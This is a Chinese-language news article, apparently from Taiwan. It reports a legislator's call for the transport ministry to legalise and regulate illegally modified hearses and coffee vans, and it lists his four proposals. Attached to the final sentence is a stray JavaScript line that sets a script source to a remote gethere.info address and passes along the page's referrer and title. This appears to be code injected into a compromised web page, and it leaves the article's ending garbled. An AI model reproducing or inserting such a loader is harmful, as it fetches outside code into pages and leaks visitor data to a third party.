因民間習俗需要的運靈車，以及近年非常興盛的胖卡咖啡車，都存在著非法改裝的問題，立委今(10)要求交通部正視這些「變形金剛」，並以政策角度思考改裝車合法化。
台灣去年死亡人數為16萬3822人，平均一天449人，但立委鄭運鵬指出，目前國內運靈車有合法領牌的，可坐10人的大型車有145輛、小型車72輛，合計只有217輛，業者估算，現下的運靈車約有8成都是不合法改裝。
經改裝的非法運靈車，是由同車款購入兩輛中古或報廢車，經過車體切割焊接，形成AB車合併，再掛上第3輛原車系牌照，需要驗車時，再把牌照歸還給第3輛車進行驗車。鄭運鵬說，雖然知道不合法，但因民眾有需求，且這種車不會開快，肇事率低，警方也不太可能會攔阻，但交通部不能因為沒納管就忽視。
鄭運鵬要求賀陳旦以政策的角度來看待這件事情，思考改裝車合法化，他指出，改裝車在國內外有市場需求，在台灣也有生產技術，更可以增加合理規費收入，交通部應該要訂出合理的規範。
鄭運鵬提出4點建議，改裝車只能由監理站驗車，不得委外代驗；鬆綁僵化檢測及審驗制度，訂出可行的車輛規格及安全標準；不以原裝新車為標準；限制改裝車行駛速限，禁上高速公路。s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;